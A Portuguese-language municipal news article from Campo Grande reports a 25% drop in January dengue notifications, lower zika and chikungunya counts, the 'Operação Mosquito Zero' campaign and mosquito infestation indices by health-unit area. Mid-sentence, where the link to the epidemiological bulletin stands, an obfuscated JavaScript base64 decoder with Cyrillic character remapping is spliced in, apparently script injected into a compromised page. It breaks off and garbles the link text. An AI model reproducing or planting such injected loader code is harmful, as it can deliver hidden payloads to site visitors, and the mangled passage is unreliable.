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Janeiro fecha com redução de 25% nos casos notificados de dengue na capital

Redação

Janeiro terminou com 25% de notificações a menos de dengue, se comparado com o mesmo mês do ano anterior. Conforme os dados parciais divulgados pela Gerência Técnica de Endemias  da Secretaria Municipal de Saúde (SESAU) de Campo Grande  nesta terça-feira (04), foram notificados 2.273 casos da doença no primeiro mês deste ano, contra 3.027 no mesmo período em 2019. Os casos de zika e de chikungunya também tiveram redução.

Apesar do saldo considerado positivo,  a superintendente de Vigilância em Saúde da SESAU, Veruska Lahdo, destaca que as ações continuarão sendo intensificadas, a fim de manter a redução no número de casos.

“Desde o fim do ano passado estamos trabalhando para garantir que este ano a gente não sofra uma nova epidemia das doenças transmitidas pelo Aedes aegypti. Para tanto o trabalho preventivo é fundamental. É importante ressaltar também que a população tem um papel fundamental neste processo, somente com a colaboração de todos nós vamos ter sucesso nesta batalha”, disse.

Os casos de zika e chikungunya também foram menores em janeiro deste ano. Em 2019 foram 78 notificações de zika e 69 de chikungunya, contra 25 e 12 respectivamente, neste ano.

O boletim epidemiológico completo com série histórica está function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande.ms.gov.br/cgnoticias/downloads/boletim-epidemiologico-dengue-zika-e-chikungunya-janeiro-12/" target="_blank" rel="noopener">disponível clicando aqui.

Estratégias

Como uma das estratégias adotadas para conter o avanço dos casos das doenças transmitidas pelo Aedes aegypti a Prefeitura de Campo Grande lançou no mês passado a “Operação Mosquito Zero – É matar ou morrer”.

Durante os próximos 70 dias diversos órgãos da administração municipal, instituições públicas e privadas, estarão mobilizados nas ações de enfrentamento  do mosquito.

A primeira etapa da campanha aconteceu na região do Imbirussu, onde mais de 4,2 mil imóveis foram inspecionados e 2 mil depositos eliminados, além de 17 caminhões de materiais inservíveis recolhidos durante dez dias.

A segunda etapa da megaoperação foi lançada nesta terça-feira (04) e segue até o dia 11 na região do Anhanduizinho com seis pontos de coleta de materaiis inservíveis e mais de 300 servidores envolvidos.

Infestação pelo Aedes

Conforme o Levantamento Rápido de Índices de Infestação pelo o Aedes aegypti (LIRAa), sete áreas de Campo Grande foram classificadas com o risco de surto de doenças transmitidas pelo mosquito.

O número de áreas em alerta praticamente dobrou, em comparação com o último LiRaa divulgado em novembro do ano passado, passando de 22 para 42 áreas. Dezoito áreas permanecem com índices satisfatórios.

O índice mais alto foi detectado na área de abrangência da USF Iracy Coelho, com 8,6% de infestação. Isso significa que de 233 imóveis vistoriados, em 20 foram encontrados depósitos. A área da USF Azaleia aparece em segundo com 7,4% de infestação, seguido da USF Jardim Antártica, 5,2%, USF Alves Pereira, 4,8, USF Sírio Libanês, 4,4%, Jardim Noroeste, 4,2% e USF Maria Aparecida Pedrossian (MAPE), 4,0%.

Via CGNotícias

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